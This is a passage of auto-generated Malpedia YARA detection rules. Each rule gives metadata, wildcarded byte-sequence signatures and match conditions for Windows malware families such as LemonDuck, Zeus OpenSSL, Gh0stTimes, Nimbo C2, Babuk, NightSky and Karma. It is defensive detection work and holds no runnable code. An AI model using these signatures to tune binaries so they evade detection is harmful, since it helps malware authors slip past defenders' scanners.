		logic_hash = "fa4353e268ca10ee73320d72c1e5a21f512b82d4c18bb38fa107cace5c168150"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b9e8030000 ff15???????? 4c89742450 48c74424580f000000 }
		$sequence_1 = { 8d45fd 4863c8 460fbe0401 418d40bf 3c19 7706 }
		$sequence_2 = { 7203 4c8b03 8d45ff 4863c8 }
		$sequence_3 = { 488d0d25310000 0f57c0 488d5308 48890b 488d4808 0f1102 ff15???????? }
		$sequence_4 = { 488bcb 41ffd5 90 488b5558 4883fa10 7234 }
		$sequence_5 = { ba05000020 488bcb ff15???????? 488bcb ff15???????? c744243000010000 }
		$sequence_6 = { 488d054d2a0000 c3 8325????????00 c3 48895c2408 55 }
		$sequence_7 = { 4983f910 7203 4c8b03 8d45ff 4863c8 460fbe0401 418d40bf }
		$sequence_8 = { 83f828 7309 33c9 ff15???????? cc }
		$sequence_9 = { 4883f801 721c 488d4101 48894310 4883fa10 488bc3 7203 }
	condition:
		7 of them and filesize < 812032
}

rule MALPEDIA_Win_Pulsartea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "492a2a3f-efe7-5dcc-8ea0-f274f56c1d7a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pulsartea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pulsartea_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "e947490c744b727dc99593cdd46b11ea245b6efcca5c96db4f4a6ac92a6b6da4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745bc00000000 418bde 488b0f 488d55c0 e8???????? }
		$sequence_1 = { 4889542420 488bcb e8???????? 4d8d870c020000 488d15a6500200 }
		$sequence_2 = { 488d41f8 4883f81f 0f8789000000 498bc8 e8???????? 4c896e10 48c746180f000000 }
		$sequence_3 = { 4c8d4d80 4533c0 8bd0 488d8d20060000 ff15???????? 440fb745a4 4533c9 }
		$sequence_4 = { 418b048e 4133c1 8983a4000000 458842ff 4883ed01 }
		$sequence_5 = { 488bc8 ff15???????? 85c0 0f84be000000 488b4c2440 488d442448 41b92c010000 }
		$sequence_6 = { 48c74424480f000000 4088742430 498b442410 4883f810 0f823b0b0000 4883c0f0 41b804000000 }
		$sequence_7 = { e8???????? 33db 8bf8 85c0 0f8454020000 4c8d25646e0100 448bf3 }
		$sequence_8 = { 4c897f10 488bc7 48837f1810 7203 488b07 c60000 488b4f10 }
		$sequence_9 = { c1e806 83e001 418986380c0000 83ff17 756d 0f57c0 448d4f4d }
	condition:
		7 of them and filesize < 520192
}

rule MALPEDIA_Win_Lemonduck_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0687728c-af20-5db0-825f-c09419c968e6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lemonduck_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "98ef4bf0b78ddc5c7161294aca17f600a297dc9e3f0789809abaca00c16061d5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8bc8 89834c010000 e8???????? 4863c8 48898b88000000 4883c420 }
		$sequence_1 = { eb0f 488bd3 488d0deb090a00 e8???????? 33c9 85c0 480f44cb }
		$sequence_2 = { c1e808 0bc8 41c1e808 c1e218 4133ca 440bc2 41894f10 }
		$sequence_3 = { ff15???????? 488bf8 4885c0 0f841f020000 33c0 f0480fb13d???????? 488bf0 }
		$sequence_4 = { 7404 893b eb34 3bfe 7330 2bf7 488d14bd00000000 }
		$sequence_5 = { e8???????? e9???????? 488b8e50010000 488d85e8000000 4c8d8dd0000000 4889442420 4c8d85e0000000 }
		$sequence_6 = { e8???????? 85c0 7419 41b80a000000 488d15eab90500 488bcb e8???????? }
		$sequence_7 = { e8???????? e9???????? 664183780e03 0f85e0010000 488d1d8bee1500 4c8d3dacee1500 0f1f4000 }
		$sequence_8 = { 75f7 8945c8 33c0 488945d8 488945e0 66448965e6 488b45e0 }
		$sequence_9 = { ff5018 f6d8 1bdb 83c302 b978000000 e8???????? 488bf8 }
	condition:
		7 of them and filesize < 10011648
}

rule MALPEDIA_Win_Forest_Tiger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3353c633-78cc-57c2-86be-460e3ac718ff"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.forest_tiger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.forest_tiger_auto.yar#L1-L145"
		license_url = "N/A"
		logic_hash = "fd0aad246be00ca230351bf440cc00646056cfe6bce27189395062caee48cc7c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 833f01 0f94c0 84c0 7407 e8???????? eb05 e8???????? }
		$sequence_1 = { 6bc930 8975e0 8db1c0084400 8975e4 }
		$sequence_2 = { 4c8b4608 498bc0 488b4c2478 482bc1 }
		$sequence_3 = { 6bc00c 56 ff90f0664300 59 }
		$sequence_4 = { 4c8b4608 488b542478 4c2bc2 4983e0fc }
		$sequence_5 = { 4c8b45c8 4c8b4dc0 f30f7f45d0 4c3955d0 }
		$sequence_6 = { 6bc009 0fb68408c0724300 6a08 c1e804 }
		$sequence_7 = { 4c8b4710 488bd7 488bcb 49ffc0 e8???????? eb0a }
		$sequence_8 = { 4c8b45bf 488d1521350200 448bcb 488bc8 }
		$sequence_9 = { 6aff ff15???????? 894604 85c0 7429 }
		$sequence_10 = { 4c8b45ff 8b55db 488b4dcf e8???????? }
		$sequence_11 = { 6aff 8d8df4fdffff 51 52 }
		$sequence_12 = { 4c8b4750 488b33 448b7308 448b6f30 }
		$sequence_13 = { 6aff 8d8dc8f4ffff 6880000000 51 }
		$sequence_14 = { 6aff 8d942498010000 6880000000 52 }
	condition:
		7 of them and filesize < 709632
}

rule MALPEDIA_Win_Zeus_Openssl_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d31ed497-e4a7-5163-b5e5-7492582406ac"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_openssl_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "16a4630d182e49d69e9e6276c110ddae0774c12808dbb665512c7a33855cd109"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf8 05fffeffff 4e 03c6 }
		$sequence_1 = { 0181a8160000 837de000 7419 8b75e0 8b45f0 0fb7443002 8b75f8 }
		$sequence_2 = { 2bc3 8bda 8b55c4 83c005 894304 8b45f0 2bd6 }
		$sequence_3 = { 6a1c 8945f0 8845ff 8bfa 32c0 59 }
		$sequence_4 = { 8bec 83ec10 53 56 57 8b3d???????? 33db }
		$sequence_5 = { 83ec0c 56 57 8bf2 8bf9 e8???????? }
		$sequence_6 = { 83c408 8b87bc160000 894df8 83f810 7530 8b4f14 }
		$sequence_7 = { 743b 83ef50 7412 83ef75 742a }
		$sequence_8 = { 89475c e8???????? 8b0f 33c0 394110 5f }
		$sequence_9 = { 8b45fc 48 50 8d9694000000 8bce }
	condition:
		7 of them and filesize < 4546560
}

rule MALPEDIA_Win_Synflooder_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9b4db3a4-161f-5f48-96b1-18c835e76606"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.synflooder_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "71981dc7d5e3732f6bffc2a9248cb281eeec7fbd198e397f9ba4db0beb4f7d0b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 762a 56 e8???????? 8d0445f4f34000 8bc8 }
		$sequence_1 = { 8be5 5d c3 8b35???????? b802000000 6a50 668944242c }
		$sequence_2 = { 8bec 8b4508 ff34c580e44000 ff15???????? 5d }
		$sequence_3 = { 0f8f0b010000 33f6 85db 7e1b 8bff e8???????? 0fbec0 }
		$sequence_4 = { 8a13 0fb6ca 0fbe8910ee4000 85c9 }
		$sequence_5 = { 897e70 c686c800000043 c6864b01000043 c74668f0e54000 }
		$sequence_6 = { 03048d20fc4000 eb02 8bc2 f6402480 }
		$sequence_7 = { 33c5 8945fc 8d8568faffff 50 6a02 ff15???????? }
		$sequence_8 = { c7470640008006 8b44242c 50 ff15???????? }
		$sequence_9 = { 897df4 85ff 75d1 53 e8???????? 8b45f0 }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Excalibur_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6324643e-ef25-5303-a7ee-e63ea03ca117"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.excalibur_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "59d59e89202157c635015f906929dcafdfae271957da35e098ac970aa56a977d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4d08 33c0 663b88e4954300 740d 83c002 83f814 72ef }
		$sequence_1 = { eb44 8d0492 c1e003 50 8b450c 50 8b00 }
		$sequence_2 = { ffd0 83c408 894734 85c0 74de 8b5f14 }
		$sequence_3 = { 83793800 7503 83cf04 83e717 89790c 857910 7407 }
		$sequence_4 = { 33c4 89442420 8b4508 8944240c 8b450c 53 8b5810 }
		$sequence_5 = { 0f43c2 8d8d4cffffff 8a0430 8885f8feffff ffb5f8feffff 6a01 }
		$sequence_6 = { 6685c0 75f5 56 8d85d8f9ffff 2bd9 }
		$sequence_7 = { 48 894604 8b06 40 8a48ff 8906 84c9 }
		$sequence_8 = { 8945bc 8b45c8 8955e4 8b4020 c745e800000000 }
		$sequence_9 = { 8d4c245c e8???????? 84c0 7433 68???????? 8d8c2490000000 e8???????? }
	condition:
		7 of them and filesize < 1253376
}

rule MALPEDIA_Win_Nimbo_C2_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2024fcd8-73ff-5d21-84a0-faeb93ed391a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimbo_c2_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "6b113df7136733641a874652387013b524eae7ec4a37b82db2a8e2b046f0820e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7411 488b09 ba02000000 e8???????? c6430800 4883c420 5b }
		$sequence_1 = { 48c7c0fcffffff 4885d2 7407 488b02 4883e804 488d4c0210 ba04000000 }
		$sequence_2 = { 498d8c24b0000000 4889c2 e8???????? 4c89e0 41c68424b800000001 4883c420 }
		$sequence_3 = { 4819db 4889c1 488985c0feffff e8???????? 83e313 488d8df8feffff 4881c306000200 }
		$sequence_4 = { e8???????? 90 4883c438 c3 488b05???????? 48ff20 488b05???????? }
		$sequence_5 = { 7f1c 488b8df8fbffff e8???????? 4889f2 4989c7 4885c0 7432 }
		$sequence_6 = { 6605bb01 488b4c2450 0fb7d0 41b901000000 41b806000000 e8???????? 4889d9 }
		$sequence_7 = { 4889c6 4d85f6 740d 4889fa 4c89f1 e8???????? eb07 }
		$sequence_8 = { 4889c2 eb28 4d8d46ff 4c89e1 e8???????? 4c89f9 4889c2 }
		$sequence_9 = { 57 56 53 4883ec20 488bb42488000000 4c8b32 4889f5 }
	condition:
		7 of them and filesize < 1141760
}

rule MALPEDIA_Win_Unidentified_088_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b80a2357-b2b4-5f14-a95d-1e325e626d53"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_088_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "78ec2fb1a46515f7a2bd494609b3c1be4370bea522de5daa065ff46bd4f8b68d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b0e e8???????? 89c7 31c0 85f6 7402 8b06 }
		$sequence_1 = { 8b0a 0faf0e 01c6 e9???????? 3b5de0 0f8f78010000 8b470c }
		$sequence_2 = { c74424085b040000 8b4dd4 ba???????? c7442404???????? c70424???????? e8???????? 83ec0c }
		$sequence_3 = { 8b08 e8???????? 8945a0 8b4508 8b00 8b00 85c0 }
		$sequence_4 = { c78564ffffff00000000 eb62 76bb 89c7 890424 c1ff1f c744241017000000 }
		$sequence_5 = { b8a1b0b912 8b4dd0 83cbff 8901 85f6 0f849a000000 8b16 }
		$sequence_6 = { c745d400000000 31db 8945bc 8b4dbc 394dd4 7c17 }
		$sequence_7 = { e8???????? eb2e 898554ffffff e8???????? 8b8554ffffff 83f816 7ed2 }
		$sequence_8 = { c21000 55 b9???????? 89e5 83ec08 e8???????? b9???????? }
		$sequence_9 = { 83ec0c e8???????? 8b4dc0 8b5dc4 8d75d8 }
	condition:
		7 of them and filesize < 919552
}

rule MALPEDIA_Win_Gh0Sttimes_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aa640a7c-0e1b-5efd-8935-4547c6b03367"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gh0sttimes_auto.yar#L1-L158"
		license_url = "N/A"
		logic_hash = "9c8e02eeb25677ec870ad4e3ac6e852e1b0822d6bc7051594b5abb6da5a926f8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bce 8bd6 8d85e0fdffff e8???????? 8b9dd8fdffff 56 }
		$sequence_1 = { b804000000 8bcf 81f3d2b5a2c3 e8???????? }
		$sequence_2 = { ff15???????? 8b5604 895608 ba00040000 }
		$sequence_3 = { 894608 8b85e4fdffff 8b8de8fdffff 40 }
		$sequence_4 = { 57 ff15???????? 8d443801 50 57 ff15???????? }
		$sequence_5 = { 8b82ac000000 6a00 57 56 50 }
		$sequence_6 = { ffd6 8b95f0fcffff 8b3d???????? 52 ffd7 68f4010000 }
		$sequence_7 = { 753a 50 50 8d4d8c 51 50 }
		$sequence_8 = { 488bcf e8???????? b902020000 488d542440 ff15???????? }
		$sequence_9 = { 32c0 e9???????? 833d????????00 4889bc24e8000000 7412 }
		$sequence_10 = { 48c747300f000000 48897728 488bcf 40887718 }
		$sequence_11 = { 84c0 7515 488d8c24a0010000 e8???????? }
		$sequence_12 = { 33d2 4d8b8938010000 4889442428 33c9 }
		$sequence_13 = { 498d9550010000 498d8d98000000 41b804000000 e8???????? 498d8d00010000 }
		$sequence_14 = { 03c2 0fb6c0 2bc2 410fb652fe }
		$sequence_15 = { 48895c2408 4889742420 57 4881ecd0040000 }
	condition:
		7 of them and filesize < 548864
}

rule MALPEDIA_Win_Jssloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7148d41e-3b6b-5706-b0f5-a23188997a17"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jssloader_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "ffccc96c8251d57f1e22bfb5c0a6de3c234295ba8c011aea9715fb2c8123c39a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3d55555515 0f846b010000 8b4b08 8d7001 2bcf b8abaaaa2a f7e9 }
		$sequence_1 = { c645cc00 898570feffff 3bf0 7432 8bbd64feffff 8b4de4 03cf }
		$sequence_2 = { 8d4de4 e8???????? 8a75d7 8b75e8 8b5dec 8b45c4 }
		$sequence_3 = { 7e0f 803c0f22 0f84d6000000 41 3bc8 7cf1 33c0 }
		$sequence_4 = { c785bcfdffff00000000 c785c0fdffff0f000000 c685acfdffff00 83fa10 722f 8b8d64fdffff 42 }
		$sequence_5 = { 83c404 85c0 0f844a010000 8d7823 83e7e0 8947fc eb13 }
		$sequence_6 = { c7805413440002000000 6a04 58 6bc000 8b0d???????? 894c05f8 6a04 }
		$sequence_7 = { c745c800000000 c645fc02 3b4dec 741a 33d2 33f6 8911 }
		$sequence_8 = { 8875d7 3bf9 7408 8817 47 897de8 eb13 }
		$sequence_9 = { b8abaaaa2a 2bcf 895df0 f7e9 8b4b04 c1fa03 2bcf }
	condition:
		7 of them and filesize < 581632
}

rule MALPEDIA_Win_Joanap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "59ddd497-e48f-5e4c-aaa1-e68a7dcd2888"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.joanap_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "2db58924366bc00afcca8a8ac59fc7a0399fb6bba1dea50a7dd31138b4827114"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89510c 8b0d???????? dd442418 dd5c0810 8d9c2488030000 c744241432000000 8b43f0 }
		$sequence_1 = { 8d4c240a 6a01 51 56 ff15???????? 6a00 }
		$sequence_2 = { 8844241a 8844241b a1???????? 89442408 8b8590010000 33d2 56 }
		$sequence_3 = { 8b3d???????? 8d4c2414 51 56 ffd7 85c0 a3???????? }
		$sequence_4 = { 8d8c24b0000000 51 56 ffd7 85c0 a3???????? 750c }
		$sequence_5 = { 893d???????? ff15???????? 8b842494000000 6a01 6820bf0200 53 66c74304feff }
		$sequence_6 = { 66c74424380040 e8???????? 83c414 83f8ff 0f8468010000 668b4610 6689442424 }
		$sequence_7 = { 83c404 eb58 8d4e03 51 e8???????? 83c404 eb4a }
		$sequence_8 = { 8bac2424100000 8b3d???????? 8b1d???????? 894820 6a01 }
		$sequence_9 = { 6a01 6820bf0200 8d442418 6a04 50 56 }
	condition:
		7 of them and filesize < 270336
}

rule MALPEDIA_Win_Nightsky_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "49806bb3-db04-5175-bd2d-05a084f5301e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightsky_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "58c0a44a79ed929ad206a6701f3a4c117bf07ad9e9a507d5d3b0ad9c115c5cd3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bda 420fb6bc3010680500 418bc3 c1e708 48c1e810 0fb6c8 420fb6843110680500 }
		$sequence_1 = { 83f806 0f879c010000 488d155277ffff 4898 8b8c82948a0000 4803ca ffe1 }
		$sequence_2 = { 488bd7 498bcc ff15???????? 4c8d4c2470 48895c2420 41b800000800 498bd6 }
		$sequence_3 = { 4883c602 66833e00 758d 483bf5 765e 482bf5 48d1fe }
		$sequence_4 = { 488905???????? 4885db 488d059af90400 488905???????? b830000000 480f44d8 486305???????? }
		$sequence_5 = { 4983f940 72eb e9???????? 488d059e1f0000 48b90000000000000080 488987c8000000 488d0576900200 }
		$sequence_6 = { 488d05ba8b0200 c7475001000000 48c7475804000000 48894778 488d0508520300 c7476801000000 48c7477004000000 }
		$sequence_7 = { e8???????? 486305???????? 4c8d0516060500 83f814 0f8d99000000 488bc8 488d0480 }
		$sequence_8 = { 458b849610710500 48c1eb18 4533848e10810500 4533848610640500 410fb6c3 49c1eb08 410fb6ca }
		$sequence_9 = { 0fb64103 468b8c8710750500 0fb6943810630500 0fb64102 44338c9710640500 0fb6943810630500 }
	condition:
		7 of them and filesize < 19536896
}

rule MALPEDIA_Win_Babuk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "77f91e38-4269-56c5-a99d-eaf5692c6027"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babuk_auto.yar#L1-L166"
		license_url = "N/A"
		logic_hash = "e2bb83a66a607df7c2662bebeca5bbfe5fab26f1661308e86fffacc36a5ed578"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 6800000100 e8???????? 83c404 }
		$sequence_1 = { 50 ff15???????? 83f803 7502 }
		$sequence_2 = { ba08000000 6bc200 8b4d08 8b540104 52 8b0401 50 }
		$sequence_3 = { 56 57 b808000000 6bc80a 8b5508 c7040a00000000 }
		$sequence_4 = { 3dea000000 0f85d9000000 8b55ac 52 e8???????? 83c404 }
		$sequence_5 = { c7440a0400000000 c745fc00000000 eb09 8b45fc 83c002 8945fc }
		$sequence_6 = { 8b85ecfdffff 8b8de4fdffff 8b948d70fdffff 89948508fdffff 8b85ecfdffff 83c001 }
		$sequence_7 = { 8b44ca04 50 8b0cca 51 e8???????? 83c408 8945f4 }
		$sequence_8 = { eb02 ebbe 8b4d9c 51 ff15???????? }
		$sequence_9 = { 0f83dc000000 8b4dfc 8b5508 8b44ca04 }
		$sequence_10 = { 8b0401 50 e8???????? 83c408 8945ec 8955f0 b908000000 }
		$sequence_11 = { c7040100000000 c744010400000000 ba08000000 6bc200 }
		$sequence_12 = { 894dfc 837dfc08 7d1e 8b55fc }
		$sequence_13 = { 8985c0fdffff 83bdc0fdffff00 0f84a1000000 c785ccfdffff00000000 eb0f }
		$sequence_14 = { ba08000000 6bc20a 8b4d08 c7040100000000 c744010400000000 }
		$sequence_15 = { 8b8c8508fdffff 51 ff15???????? eb02 }
	condition:
		7 of them and filesize < 183296
}

rule MALPEDIA_Win_Karma_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "24be30a8-d096-5dc7-8e51-b42bf2a52649"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karma"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karma_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "35cdf75103d6b4a50883eb5678dfe204820b04234b8d7ece3879561247948adf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a08 6a00 8944243c ffd6 50 ffd3 6a40 }
		$sequence_1 = { 8b450c 751c 41 83f908 72f1 }
		$sequence_2 = { 8b0d???????? 33c0 3801 740a }
		$sequence_3 = { 8bf1 33d2 57 663916 7409 }
		$sequence_4 = { 668901 8d5202 6685c0 75ef 8bcf ba???????? }
		$sequence_5 = { 750e 6685db 0f8478040000 83c702 ebc8 33ff }
